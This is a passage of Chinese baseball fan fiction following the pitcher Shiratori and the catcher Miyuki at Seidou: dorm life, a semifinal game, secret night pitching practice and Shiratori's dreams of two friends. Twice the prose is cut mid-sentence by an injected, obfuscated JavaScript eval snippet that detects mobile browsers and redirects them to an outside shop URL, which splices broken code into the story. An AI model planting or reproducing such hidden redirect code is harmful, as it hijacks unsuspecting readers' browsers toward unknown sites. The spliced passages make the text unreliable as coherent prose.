这才是御幸几次三番主动搭话的原因之一,他很好奇啊!对于投手,他总是有着满满的耐心和探索欲的! 宿舍里,克里斯正在桌前看着记分册,他听见门口的声音回头:“欢迎回来,白鸟。” “啊……是遇到了什么好事吗?” 白鸟下意识摸上自己的脸,摸到左脸颊那个酒窝的瞬间,他的耳廓染上一层红色。 “是好事……幸运的好事。”他想含糊过去,又很快坚定下来,笑着肯定道。就算是骗他的,他也开心。 青道的住宿要求是每间宿舍由三年级、二年级、一年级构成。 白鸟和克里斯分在了一个宿舍,三年级的前辈因为家中原因退部了,所以这间宿舍暂时只有他们二人。 “这是我为你准备的训练内容,希望你不要嫌弃。”克里斯没有多问,他递给白鸟一份写满了字的本子,里面是他为白鸟量身定制的训练计划。充满了希望的克里斯动力满满,刚结束训练就回到宿舍就开始准备这份菜单。 这还是他头一次没有加训。 白鸟接过这满含心意的训练计划书,坚定地点点头:“完全不会,谢谢克里斯前辈,我一定会努力的。” “不用有太大的压力,可能一开始会觉得跟不上高年级的训练,这是正常的,大家也都是这么一步步训练才能达到如今的体能,欲速则不达。”语闭,克里斯却突然觉得有点可笑,这话从他嘴里说出来似乎并不具备说服力。 这份期盼完全不会成为他的压力,不如说他希望有更多被大家认可的机会。虽然这么想,但白鸟并未反驳,因为他很享受这种被关心的时刻。 夜深了。 他带的行李不多,除了必备的日常用品,只有一个MP3和几副适用于不同场合的耳机。 白鸟躺在自己的床上带上耳机,和缓的音乐流淌在耳蜗与大脑中,心情久违的愉悦,他静静闭上眼睛。 听完这首歌,就睡觉吧,希望明天也是美好的一天。 *** 除了在新生测试时在牛棚有投过球外,之后便完全是体能训练的天下。 已经持续一个星期了,新生们一直在做基础训练,为了赶上高中棒球的体力要求,他们只能拼命跑步,拼命吃饭。 说到吃饭,就不得不提青道食堂居然要求每个部员都要吃三大碗饭!还是那种装的像小山一样的米饭! 在拖着沉重的身体进入食堂后,白鸟感觉自己变得更沉重了,两腿像灌了铅一样抗拒着那米山。 “喂!新生,怎么堵着门啊!你这么瘦,如果要站在投手丘上,不会被风吹倒吧,快多吃点!” 一只手拍上白鸟的肩膀,他不用回头都知道这个大嗓门是谁。二年级的伊佐敷纯前辈是个留着小胡子面色凶恶的前辈,不知为何特别关注他,每次在食堂遇见,就像个监督员一样盯着他,搞得白鸟更是食不下咽。 虽然恶声恶气的,但白鸟也知道伊佐敷前辈是在关心他,而且白鸟也知道自己作为速球投手实在太瘦了,所以虽然慢,但他还是一点一点把饭都吃完了。 御幸为了不被前辈盯着吃,每次到了吃饭时间就离白鸟远远的,直到前辈们吃完离开了食堂,再端着已经偷偷拨给过前园过的饭菜坐到白鸟旁边。 “你还真是辛苦啊。”御幸语气戚戚。 白鸟味同嚼蜡地在一口一口吃米饭,慢吞吞道:“只要强迫自己吃完一次,之后再吃似乎感觉也没那么难以接受了。” 御幸撇嘴摇头。 “话说今天下午有青道的比赛,白鸟要去看吗?”御幸戳戳碗里的米饭。 “去。” 高中比赛的氛围,前辈们在赛场上的配合等等,这些都是要实际看了才能慢慢了解的东西。 吃完午饭后,决定去观赛的人乘坐学校的大巴一起来到了明治神宫球场。 看着这座熟悉又陌生的球场,白鸟停下了脚步,春季大赛啊……高中的赛程激烈又残酷,只要输一场,就什么都没了。 没有国中青少棒会存在的复活赛、淘汰赛。 棒球儿们日夜的辛苦锻炼,梦想、汗水、泪水,只为了到达那存在于所有棒球选手心中的钻石圣地——甲子园,可大部分人的梦想,在这里就结束了。 “喂——白鸟,快跟上啊!”御幸招手。 “来了!”白鸟回过神,小跑到御幸旁边,两人并肩跟着队伍,走进了球场。 4. 青道 “青道今天的对手是稻城实业啊,老对手啦。” “嗯,半决赛之后就是和市大三高校的决赛吗?果然都是老对手,也不知道谁会获胜啊……” “我觉得是稻实,八强的时候青道的王牌完投了整局不是吗?肯定很疲惫吧!” “啊……是呢,水谷的球缺乏一锤定音的能力,而二年级的丹波虽然曲球不错,但是状态很不稳定。” 逐渐涌入观众席的观众们议论纷纷。 今天是个万里无云的好天气,天空一碧如洗,春日的风非常温柔,比起夏季大赛,春赛的体感绝对是最好的。 无法进入选手席的新生们自然是和学校的应援团们呆在一起。 白鸟看着赛场上牛棚的位置发呆,此时作为本场先发的丹波正在和克里斯一起热身。这还是丹波第一次作为先发出场,克里斯正在努力安抚他紧张的情绪。 “白鸟也想投球吗?”御幸坐在白鸟旁边,探头看向白鸟看的地方。 “嗯……毕竟一个星期没有投球了。”白鸟的左手下意识摸了摸自己的右手,虽然没有投球,但是他每次都很仔细地保养了手指,茧子磨掉了,擦了护手霜,指甲也好好涂了护指油…… 御幸的视线跟着转移到了白鸟的手上,眼中都是满意:“你的手保养的很好。”这处细节鲜明地展现出了白鸟对于投球的认真与喜爱。 “我看你的手指比一般人更修长一点,这种天生的优势对于投球应该很有帮助吧?” 白鸟笑了笑,金色的眼睛染上回忆的温暖:“是的。也因此我在小时候在老师的鼓励下练过钢琴,可惜我在音乐上实在没什么天赋。” “所以白鸟君是为什么最终决定打棒球的?”另一边的川上忍不住问道。 白鸟一看就是那种优渥的家庭养出来的孩子,举手投足和棒球少年那种热血劲不太搭啊,不过投球的时候倒是很有威慑力就是了。 白鸟沉默片刻,眼里的温暖褪去了部分,有些复杂道:“因为遇到了很喜欢的朋友。” “女生?”后面伸过来一个脑袋问道。 “不是。”白鸟忍不住抽了抽嘴角,“是男生,他真的很厉害,怎么说呢?我算是被他鼓舞了吧,正好那时候也没什么想做的,就去试着加入了少棒。” “真好啊……那个朋友还在打棒球吗?是哪个队的?” 白鸟压低了帽檐,棒球帽的帽檐阴影遮住了他的神色:“应该还在打吧,我们已经很久没联系了。” “哦……”前园尴尬地缩了回去,他摸摸自己的圆寸,有点同情地看了白鸟一眼,估计是和好朋友分道扬镳了吧。 这段对话就这样不了了之了,大家看出来白鸟并不想再深入这个话题,体贴的没再询问,转移话题聊起了别的。 青道的大家都很是很温暖的人啊……白鸟被帽檐阴影遮住的眼睛闭了闭,因为聊起了往事,他很难控制自己不去回忆那段记忆。 那些期待、痛苦、祈求、失望、热烈与一地狼藉。 白鸟的突然感觉右手腕被握住,他吓了一跳,僵住了身体。 御幸仿佛没察觉到他的抗拒,温和地将白鸟紧握的右手掰开,靠近轻声道:“投手的手可是很宝贵的,白鸟你很喜欢投球吧,所以才把手保养的这么好。” “……”白鸟渐渐放松下来,他微微点头,看着御幸握着他的手,捕手的体温因为皮肤接触传达了过来,连同那份安慰的心情一起。 捕手总是这么体贴吗?他脑海中深蓝色的回忆渐渐被昨晚楼道里暖黄的灯光覆盖。 想要信任一个人很难,想要破坏一份信任却很简单,伤口可以愈合,疤痕却很难消失,怀抱期望的时候他总是会奢求更多,奈何现实教会他的是不去期待就不会受伤。 “……谢谢。” 白鸟挣了挣表示自己已经没问题了,御幸便松开了手,因为比赛热烈的气氛,没人发现他们的小动作。 御幸若有所思,果然投手还是那种敏感的生物啊。 白鸟的异样肯定和来青道之前的棒球生活有关,御幸脑中突然冒出了很久之前那些曾对他暴力相向的前辈们,他皱了皱眉,然后重新笑了起来。 以白鸟的实力升上一军的时间肯定不会太久,而他上面还压着克里斯前辈、增田前辈两个一军捕手。 一般来说一军两个捕手就已经完全足够了,所以若没意外他升上一军的时间肯定不会太快。 现在是正赛期间,克里斯前辈作为正捕手要负责3个一军投手,肯定暂时顾及不太到白鸟,这是他的机会啊。 不过监督为什么不快点把白鸟升上一军呢?御幸看着赛场。如果他是监督,肯定无法忍住藏刃于怀。 那么片冈监督在想什么呢? 此时是稻实先攻,站在投手丘上的是丹波光一郎。 丹波的曲球十分优秀,但曲球只有搭配上直球才会有威慑力,而丹波的直球正常情况下虽威力不足但是控球还是有的,加上克里斯优秀的引导,这才是监督安心将其放在与稻城实业半决赛先发的原因。 他对丹波要求不多,只要撑过3-4局就行了,接下来就交给水谷和柴崎。 现在只是开局,丹波,尽情释放自己的力量吧,大家都在身后支持你呢。克里斯看着投手丘上的丹波,张开手套拍了拍本垒板,面罩后的眼睛鼓励地看向丹波。 丹波抓着棒球狠狠点头:啊,我当然知道! 不仅是第一次让他先发,还是在和稻城实业这么关键的半决赛上,丹波感受到了监督无言的信任,加之小学弟优秀的天赋带来的压力,丹波觉得自己不能再这么软弱下去了。 奋发的丹波似乎找到了状态,让稻实的打者很是意外。 不是说这个投手开局不稳吗?怎么好像投的挺不错的,好难打……可恶。 很快就两出局了,克里斯对于丹波的好状态也意外了一下,丹波一向是压力越大发挥越不稳定,但他很快便明白过来。 光一郎终于意识到了吗?是因为那次白鸟的投球吗?这样就好,光一郎,把你最好的球投过来吧!克里斯摆好手套,期待地看向丹波。 远超平时水准的丹波光一郎和在后三局出场,完美完成了自己职责的王牌柴崎翔一,很好压制了稻实的打线。 看着难得发挥如此神勇的丹波,监督也不想打击他的信心,让他投了6局,直到稻实的打者适应了丹波的投球打出了一记本垒打,在这种比赛中一分很可能都是致命的,所以片冈立刻换上了在柴崎。 最终,青道以3:5的最终成绩赢得了半决赛,观众席上一片掌声。 “哇!不得了啊,这次青道说不定真的能获得冠军呢。” “感觉他们的投手这次状态很不错啊,打线发挥依旧不错,如果决赛能保持,青道和市大三真说不出来到底谁胜谁负啊!” 白鸟看得热血沸腾,和国中完全不一样的比赛强度,和国中完全不一样的比赛场地,大家都好强啊。 他想起自己的体力问题,轻飘飘的心重新落在地上,自己怎么还有时间去烦恼那些已经过去的往事呢,现在,应该脚踏实地才对。 好想投球啊,可是教练根本不让新生进牛棚…… 因为赢了比赛,回去的路上大家都很兴奋,大巴上吵吵嚷嚷的。 “我们真强啊!” “什么我们啊,是前辈们真强吧。” “什么时候能升一军呢?” 每次聊到这个话题,都有人或明或暗地看向白鸟京,坐在白鸟旁边的御幸自然也被眼神洗礼了一遍。 他没觉得有什么不对,甚至他自己的目标不仅是升上一军,他还要超过克里斯前辈,在他手上抢夺下正捕手的位置呢! 回到学校后又是枯燥的基础训练,白鸟抽空去找了经理一趟,这一幕被仓持看在眼里。 “喂你小子,不要仗着有一张帅脸就勾搭经理啊!”仓持臭着脸勾住白鸟的脖子。 自澡堂搭话加上同班同学的相处,如今他和仓持的关系已经变得不错。 白鸟没有抵抗:“仓持觉得我很帅吗?” 仓持:“……”这小子。 白鸟弯弯眼睛。 仓持是个粗中有细的人,熟悉之后就能感觉出的他的可靠,明明外表像个不良少年,却意外的单纯,白鸟喜欢和这样的人相处。 这也是他始终对御幸心存一点戒备的原因,御幸作为一个捕手是非常非常优秀的,但单纯作为一个朋友,白鸟觉得他太神秘。 此处的神秘并不是指故弄玄虚,而是他这个人像一阵风一样让人找不到落点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674037|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样的人很吸引人,但也会让想靠近的人感到患得患失,曾经的白鸟或许乐意接受挑战,但现在的他已经精疲力尽,失去了探寻他人的热情。 想到这里,白鸟的心中暗暗叹息。回程的路上,御幸也不知是不是看出了他的心思,竟然提出晚上一起偷偷去投接球,他可以为他蹲捕。 这诱人的提议让白鸟完全无法拒绝。 *** 晚上训练完之后,应该去洗澡的时间,想到御幸约了要一起投球,白鸟便坐在食堂角落掏出了从经理那里借来的和市大三高校比赛的记分册。 正选们的反省会已经开完了,这记分册才能到白鸟的手里。 他习惯将自己带入到一场比赛里,思考如果当时是他站在投手丘上,会怎么应对那些打者。因为初三没有继续呆在青少棒,没比赛打,所以他只能靠看录像进行有关比赛的想象训练,维持一年后,已经成了习惯。 从旁人角度看过去,望着记分册的白鸟就像在低着头发呆,谁都发现不了,在此刻的他脑海中,正在进行一场激烈的比赛。 不知从何时起坐在旁边的御幸撑着头,无聊地望着白鸟的侧脸,意外的没有作声。 啊……柴崎前辈真的好厉害,一二垒有人的情况下,还能投出那么冷静的球,如果是他的话,无论如何都无法不去在意跑者的行动。 克里斯前辈如果是和他搭档,会配出怎样的球呢?如果让他自己配球,大概会是二缝线这样普通的方案吧,寄希望于打者打出滚地球,然后双杀。 白鸟叹了口气,他的手指下意识点了点记分册上七局下的地方。 “一二垒有人,此时迎来市大三的上位打线,白鸟选手你想投出什么样的球呢?” “二缝线……” “……” “?!” 白鸟“刷——”地转头看向身边,总觉得这个场景似曾相识啊。 “御幸,这也是捕手的直觉吗?” “哈哈,因为我也喜欢这样做想象训练,所以一看就知道你在干什么了。”御幸对于白鸟会主动看记分册还是挺意外的,因为这种东西一般只有捕手会看,大部分投手在场上一般不会思考配球问题,能把球好好投进手套就已经足够了。 白鸟瞥了一眼御幸,犹豫了一下:“我很好懂吗?” “因为你是投手而我是捕手啊。”御幸理所当然作无辜状道,好吧,这家伙的恶趣味已经渐渐憋不住了。 被敷衍了?被敷衍了吧……白鸟收起记分册:“所以要去哪?” 御幸跟着站起来:“我可找到了一个好地方哦!” 两人带着装备走在夜路上,春天的夜间静悄悄的,没有蝉鸣也没有蛙叫,只有偶尔簌簌的风声,漏出几句大自然的窃语。 御幸一边带路一边打量着路灯下时明时暗的白鸟。 这家伙在光下就像在自发光一样,是因为白色格外反射光线的原因吧,在食堂还为了不显眼特地坐到角落,但是御幸一进食堂就发现他了,想隐藏自己结果完全没做到嘛。 气氛有些安静啊……这可不行。 御幸语气轻松的开口道,越说越笃定:“你会配球?七局下那个场面二缝线快速球确实是合适的选择,你是想要抓双杀吧。” “是,因为国中的比赛不多,这样好歹也能锻炼一下自己。而且我认为能够学会配球,能够更加快速理解捕手的指令对于比赛会更有利。”白鸟基本上有问必答,御幸为了那句搭档对他的关照他心知肚明,白鸟自然不吝于付出自己的部分信任与坦诚。 笑意爬上御幸的嘴角,他看新奇般瞅了白鸟好几眼然后哈哈大笑:“不错正是这样!只有互相理解信任,才能创造出最好的投球,我相信我们一定能成为一对好搭档的!” “以后我们就一起看记分册吧。” “一起?”白鸟转头对上御幸的眼睛。 御幸点头:“对啊,作为投捕搭档,当然要一起研究对手,一起商量配球,这不是理所当然的事吗?” 白鸟纯白睫毛下的金眸颤了颤,因为这份理所当然心中没出息的开心起来:“好,我只是有点不习惯……” 随后坚定起来,认真地看向御幸的眼睛:“我会努力的。” 御幸失笑:“努力啊……” 5. 夜间练习 “这里是室外训练场的牛棚吧。”白鸟看着有些黑黝黝的场地,因为附近的路灯,还不算完全看不清,但想要在这种环境投球也属于是天方夜谭。 御幸拿起不知从何而来的钥匙打开门,然后熟门熟路的打开一个角落牛棚的灯:“是啊,正选因为明天的比赛需要养足精力都早早休息了,其他人晚上都在室内训练场,我觉得这是个好时机。” 白鸟转头环顾四周,还真是空无一人:“但是速球的接球声会很大吧。” “所以今天只是降低球速的投接球‘游戏’,可以吗?”御幸套上手套,抛了抛手上的棒球。 150KM/S的速球,国中可没有人能投出来,他还没接过这样的火球呢,所以说克里斯前辈真厉害啊,接这么快的球也那么轻松,他也不能认输!虽然今天暂时接不到…… 白鸟自无不可,他只是看了今天的比赛有些手痒,御幸没带护具,他也不可能对着没带护具的捕手投快速球,那多少有些故意杀人的嫌疑了。 御幸蹲下张开手套,眼睛灼灼发亮:“来吧,我们只投直球,我不会给暗号,只会移动手套,相信我的手套,把球投过来吧。” 相信。 白鸟悄悄做了个深呼吸,当他放弃追求球速而专注控球的时候,投出的球反而又是一种新的艺术。 御幸的手套从四宫格到九宫格,又到半格半格或紧贴边线的移动,白鸟都努力投了进去,成功率很高,越投两人眼睛越亮。 这样的投手让人不得不感叹真是个怪物,无论是球速还是控球,似乎都难不倒白鸟京。 投手能如此精确的控球,对于御幸这种喜欢配球的捕手来说如虎添翼,而白鸟京不仅有控球还有球速,简直是鱼和熊掌兼得的美事。 四十多球过后。 “OK,最后一球。”御幸可是精心计算了训练之后的投球数的。 他是那种会把喜欢的东西细细品味的类型,今天晚上的这些已经令他尽兴了,他能感觉到白鸟也很满足。 之后的慢慢来。 白鸟的指尖有些颤抖,他按住胸口,眼中露出恍然之色,随着逐渐默契的投接球,他的心跳动得愈发激烈,如春雷将阴霾一扫而空。 可能是氛围原因吧,周围越是安静,情绪的翻涌愈是剧烈。 他突然很想把自己最好的一记直球投入那个手套,就像曾经的投手前辈说的那样,遇见正确的搭档时,投球时的感觉会截然不同,他曾经很疑惑,什么是“正确”呢? 如今却明白了,当球离开手,没入捕手手套的那一声炸响震颤空气的那刻。 就像电台调频滋滋作响时终于链接上正确的频道的那一秒,你的心自然会教你明白。 白鸟抑制住了激动的自己,用力抓紧了棒球,宛如抓住了那颗不受控制的心。 曾经的痛苦也许是为了如今的邂逅,如果能这么想,真是太好了。 这一刻,白鸟抛弃了那些不确定,眼里只剩下了那个手套。 蒙尘的宝石在眼中灿然,啊……他果然还是喜欢棒球。 结束后的气氛和来时完全不一样,御幸翘着嘴角。果然啊,无论什么问题,投球就行了,语言无法传达的,棒球却可以。 “哇,白鸟,你有酒窝哎!”两人一起收拾场地时,御幸突然发现了盲点,他用手肘捣了捣白鸟。 白鸟摸了摸侧脸那个代表喜悦的小坑,他脸颊的酒窝比较浅,只是微笑的话并不显眼,看来他现在笑的很傻。 白鸟笑盈盈地点头:“我的妈妈也有酒窝,她笑起来真的很好看,希望我不会看起来太傻瓜。” “哈哈,哪里傻,我觉得很不错啊。” 月光下,少年们笑容灿烂,明朗的感觉要把夜空点亮,晚风拂过他们的衣摆发梢,捎来樱花的暗香。 两人相携回到室内训练场附近,正撞上拿着球棒往外走的仓持。 他眯起眼睛,探究地看着两人,直把白鸟看的冷汗直冒,御幸倒是无所畏惧地迎上前去:“呦,仓持!这是加练结束了?” “切。”仓持无视了装模作样的御幸,重点观察着白鸟,像是没看见自己想看见的,他失望地拿着球棒绕开御幸准备离开。 被无视的御幸挠着头发:“呀勒呀勒,仓持近视了吗?明明每天上课都在睡觉?” 仓持嘴角抽搐:“谁在睡觉啊,你这白痴!难道你的近视是因为认真学习吗?!” 啊……这两人又开始了,自从御幸故意招惹了仓持,说仓持“你就只有跑得快……”之后,两人一直是这种说不了几句就要开始吵架的氛围,白鸟已经被迫习惯了。 因为吵不了几句,他也要被拉下水了。 “白鸟,仓持被戳中了痛点之后好凶哦,快帮帮你心爱的捕手啊。”御幸贱嗖嗖地躲到白鸟身后。 心、心爱?!白鸟站在原地像是冻成了根冰棍。 “心、心爱?!”仓持呐喊出了白鸟的心声,他一言难尽地扫了两人一眼,因为白鸟那张很唬人的脸,加上他白天的行动,仓持还以为他晚上没来训练是跑去偷偷和女孩子约会去了。 自开学起,这两个家伙简直就是年级里的风云人物,靠着两张还不错的脸和棒球这项热门运动的魅力,简直收情书收到手软,让颗粒无收的仓持羡慕嫉妒恨很久了。 结果约会是真“约会”,却一看就知道是和御幸跑去干坏事了,投捕一起丢了,用脚底想都知道是跑去偷偷投球了。 他才懒得理这两个白痴,不过心爱的捕手,呕……仓持打了个寒颤。 白鸟咳了一下,略显僵硬地转移了话题:“仓持明天去观赛吗?” 今天半决赛仓持并没有和他们一起去,按他的说法是,他要用比他们更多的时间训练。 转移的虽然僵硬但管用,仓持眉心微微动了动:“去。” 这可是决赛,如果青道赢了,那可就是春大赛的冠军,他们都不想错过这一幕。 等仓持离开后,御幸看着仓持远去的背影道:“今天的训练量已经够了,白鸟你可不要再去偷偷挥棒,对肩膀不好哦。” 速球投手的肩膀和手肘都需要小心保护,他们刚刚进入高中棒球界,跟不上训练强度很正常,如果勉强自己反而受伤就得不偿失了。 平时训练结束都会加训挥棒,但既然御幸这么说了,白鸟也会乖乖听话。 “白鸟的舍友是克里斯前辈吧,你们相处的怎么样?”御幸边帮助白鸟做收身操,边偷偷打听。 白鸟将胳膊在御幸的帮助下往后掰:“很好。克里斯前辈人真的很好,正赛期间那么忙,他还帮我写了训练卷轴。” 御幸托着投手修长柔软的手臂,掌下的肌肉匀称结实,白鸟的体脂率很低一看就知道经历过系统且强度很高的训练。 “今晚的投捕搭档,和克里斯前辈那时候比起来,你觉得哪个更好?” 御幸超绝不经意地问,然后不等白鸟回答就急匆匆继续开口:“我啊,当时愿意来青道高中,除了小礼的邀请之外,就是为了光明正大打败克里斯前辈。” “我知道我现在还比不上克里斯前辈,如果当时是我去接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674038|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个滑球,恐怕还要再看两三球才能接到吧,可克里斯前辈只是一球,后面就完美接住了。” “总有一天,我要在克里斯前辈毕业前超过他,堂堂正正拿下正捕手之位。” 御幸咧嘴一笑,眼底浮上一层期待:“到时候,我们在正赛上搭档,我一定会好好引导你,让你在投手丘上发光的。” 捕手都喜欢控球好的投手,尤其是御幸这种配球优秀,善于戏弄打者的“心脏”捕手,只要一想到他们两个搭档时能做到的战术安排,御幸就兴奋不已。 “你不是我最心、咳……心爱的捕手吗。”白鸟还是不能习惯把这么露骨的话说出口,不由得暗暗佩服起将这些话说得驾轻就熟的御幸。 御幸眨眨眼,白鸟这么好搞定的吗?明明之前感觉应该很困难,他也没做什么特别的啊。 以白鸟的角度来看,他很感激御幸的主动亲近和信任,但以御幸的角度来看,这不是捕手的基操吗? “哈哈哈真的吗?我的分数已经比克里斯前辈还高了吗?”御幸靠近白鸟追问。 白鸟无奈:“哪有这种分数啊,我来打分的话,那我也太傲慢了。” 投手大部分都很傲慢啊,御幸把这句话咽回喉咙里,取而代之的是一个疑问,他很早之前就想问了:“白鸟,你是什么时候开始做投手的?” “国一下半年吧,那时候我开始生长发育,个子变高了,投球的控制力也变强了。” “哇……两年半不到就能把控球练的这么强?好厉害哦白鸟君!” “我很早就想做投手了,所以一直有练习投球,只是正式做投手是国一而已,没你想的那么厉害啦……御幸呢?为什么会做捕手?” 御幸语气骄傲:“因为捕手是场上的大脑,是能够掌控球场的存在,我对捕手这个位置一见钟情,所以绝对不会让出去。” 我发现了,这人就是能够面不改色的说出一些让人没办法正视的话,又是心爱又是一见钟情的,白鸟不语。 “白鸟为什么想做投手?” “因为金色。” 金色?御幸想到白鸟的眼睛,那双灿然生辉的眼睛。 御幸狡黠地笑出大白牙:“所以是因为自恋?” 白鸟额角布满黑线:“不是!” “是因为我见过比太阳还要耀眼的金色……”他出神地看向夜空,眼中满是怀念,“我想要遇见、想要和那样的人一起打棒球。” 金色的发丝与金色的眼睛,远比太阳更夺目的两人,他一直“注视”着他们,却永远也无法触碰,白鸟第一次将深埋在心中的秘密吐露出只言片语。 这是真正的,他想要打棒球,想要成为一个投手的初衷。同时,也是他渴盼拥有一个捕手搭档最重要的原因。 两个人,一个金色的投手,一个金色的捕手,他是追随着他们的脚步,才喜爱上棒球的。 虽然说出来只会让不明白的人觉得莫名其妙,但是白鸟不想对御幸撒谎。 他无法说出那两个人的名字,因为后续要解释的太多,甚至会被认为有精神问题,所以只能含糊以对,但白鸟说的话完全出自真心,只希望御幸不要误会。 御幸当然没有误会,他看着那雪白的毛茸茸的发丝,听着白鸟忐忑又真挚的话语,心中微微一动,金棕色的眼眸温和明亮。 他既好奇那话语中金色的人,又涌现出一些不服气。 你不是已经遇见了吗?想要一起相伴成长的搭档。作为他选中的投手,无论是克里斯前辈,还是那位金色君,他都不想输给他们啊。 6. 梦 在白鸟很小的时候,他就开始意识到自己的不同。他的世界,除了现实,还有两个只属于他的梦境。 在那里,他拥有有两个最好的、最特别的伙伴——绫濑川次郎与要圭。 宛如观看一场以年为单位的电影,白鸟京在长大的同时,也在与梦里的伙伴们一起长大。 梦醒后他只记得他们二人的面孔,和与他们有关的最重要的部分记忆,而这份记忆让他们的存在愈发真实,他对他们的感情也更加深厚,尤其以冰冷的现实做对比,还是温暖的梦境世界更让他喜欢。 一开始,他还能与他们交流玩耍,但随着时间的推移他渐渐长大,他在梦中世界的存在感却越发微弱,他只能眼睁睁看着梦中的小伙伴渐渐忘了他的存在,去做一个沉默的旁观者。 他无数次不甘、痛苦:相伴了这么多年,如果一开始就无法得到也好,为什么要让他在得到后又失去? 然而,梦醒后迎接他的,永远只有无尽的虚无。 在无数次失望后,白鸟京决定去打棒球。 毕竟两位伙伴都走上了棒球的道路,这或许是神明的暗示吧?他想与他们走在相同的道路上,这样或许就不会感到无法抑制的孤单了。 当他握着棒球和球棒时,梦中的一切变得如此真实,棒球仿佛成了他与伙伴们之间的纽带,只要站在球场上,他似乎就能在现实中与他们更靠近一点。 然而,当白鸟京真正开始热爱棒球时,现实的残酷再次将他击倒。 同为投手,绫濑川的天赋宛如一座看不到顶的山岳,而作为同伴的捕手,他期待的如要圭般互相支撑的「同伴」,轻易背叛了他。 那真是最痛苦、最难熬的两年。 也许是积累了太多的负面情绪,连他唯一的避风港湾——梦境,也再也没出现过。 这份惊喜,来与去,都突然的让白鸟无法做好心理准备。 无垠、冰冷的孤独如浓雾笼罩了他心中的球场……跌进泥沼里的他,看不见前路。 最终,他逃跑了。 他在国□□出了青少棒,因为如果再在那里打棒球,他一定会变得越来越讨厌棒球的。也许他可以讨厌自己,但他唯独不想放弃,不想讨厌棒球。 棒球是他与梦境唯一的联系,是他与伙伴们最后的羁绊。即使现实再残酷,他也不想失去这份热爱。 *** “呼——”白鸟自梦中惊醒,明明被窝很温暖,后背和额头却又湿又冷。 他已经很久没有做梦了,这次却意外的再次做起了那个神奇的梦,失去的又回到了他身边,却无法让他开心起来。 昨晚发生了那些事后,也许是他重燃了对捕手搭档的信心,他竟时隔一年再次梦见了要圭。 可这梦,却处处透着无法呼吸的压力。 要圭……白鸟眼中流露出深深的担忧,从之前开始,他这两位朋友就很令人担心,他们总是不断遭遇着挫折,总是为了他人不断为难着自己。 尤其是要圭,甚至为了达成目的变得越来越不像他自己,他就像一根紧绷的弦,已经在断裂的边缘。 因为这个似乎预示了不好未来的梦,白鸟起床洗漱时还有些萎靡,直到冰冷的水扑在脸上,他才稍稍振奋了一点。 “御幸早上好。”白鸟闭着眼,用毛巾用力地搓着脸,仿佛这样能驱散残留的疲倦。 御幸端着盆站在旁边也开始洗漱:“早上好,这听力,平时会很辛苦吧。” 白鸟打开水龙头开始洗毛巾,晨起的淡青色薄雾笼罩着四周,此时才早上5点,早春的空气冷冰冰的,他听见御幸的感慨笑了笑:“习惯了也还好。” 一般他都会提前半小时起床,多用半个小时跑步。 等二人来到B面训练场,场地内还是空空荡荡的。 “我准备先跑几圈,你呢?” “一起一起。” 两人一起沿着训练场的边缘跑了起来,跑步间陆陆续续加入了几个人。 “意外啊,你居然起的这么早。”仓持跑在御幸旁边,眯着眼吐槽道。 御幸打着哈哈:“什么话,我平时起的也很早啊。” 这不是昨晚知道了白鸟每天都会早起加练吗,说是想尽早达到高中棒球的体力要求,作为搭档,他可不能落后。 仓持不屑地翻了个白眼,他平时早上和白鸟一起跑圈的时候就没见过御幸,这人真是说谎不打草稿。 他不再理会御幸,探头看向白鸟:“白鸟早上好。” 御幸:“……”为什么不和他说早上好。 “早上好仓持。”白鸟复杂的思绪被冷空气一冻已经消散了很多,毕竟无论如何他都无法干涉梦中世界,几年来,他已经学会了如何去调整自己的情绪。 仓持加快了脚步和白鸟并肩:“克里斯前辈的训练卷轴,你最近练得怎么样?体力有提升吗?” 白鸟微微喘着气,语气中带着一丝满足:“嗯,感觉比之前好多了。虽然还是有点累,但至少能慢慢跟上大家的节奏了。” 他的体力是个短板,为了尽快跟上高中的水平,只能每天勤耕不辍地跑步锻炼耐力。 御幸在后面听着两人的对话,忍不住插嘴道:“怎么今天感觉你有点没睡醒的样子,不会是熬夜干坏事了吧?” “……没睡好。”白鸟有些无奈,越和御幸熟悉起来,越是能能发现这家伙有时候真是不着调。 仓持回头瞪了御幸一眼:“你以为谁都像你一样,我们可是每天早上晚上都加练的。” 御幸摸了摸鼻子没有反驳,仓持确实是新生里训练最刻苦的人之一,刚开始的他感觉还有些迷茫,如今似乎已经及时调整过来了。 他和白鸟因为还有投手与捕手的训练菜单,所以挥棒练习就不会和他们一样多,尤其是白鸟,速球手很费肩膀,克里斯前辈总会抽空盯着他的训练量。 御幸有时候也会借此和克里斯前辈讨论讨论青道的投手阵,决赛即将到来,克里斯前辈虽然看上去一如往常,但是御幸能明白他的压力必然很大。 以青道如今的投手阵实力,想要胜过市大三…… 另一边,白鸟对于青道的正选实力还没有很深刻的了解,他只是听克里斯前辈说,再过几天就能正式进牛棚投球了,白鸟眼中闪烁着期待的光芒。 虽然和御幸偷偷练球别有一番趣味,但如果在牛棚,他就能更放心的把他的投球全部投给御幸。 吃早饭的时候,白鸟就迫不及待把这个好消息告诉了御幸。 “哦?克里斯前辈这么说了啊……”御幸有些高兴又有点遗憾,没想到秘密时间这么快就结束了。 白鸟感知到御幸的情绪,有些疑惑地歪了歪头,问道:“怎么了?你不开心吗?我们可以光明正大地练球了,这不是很好吗?” 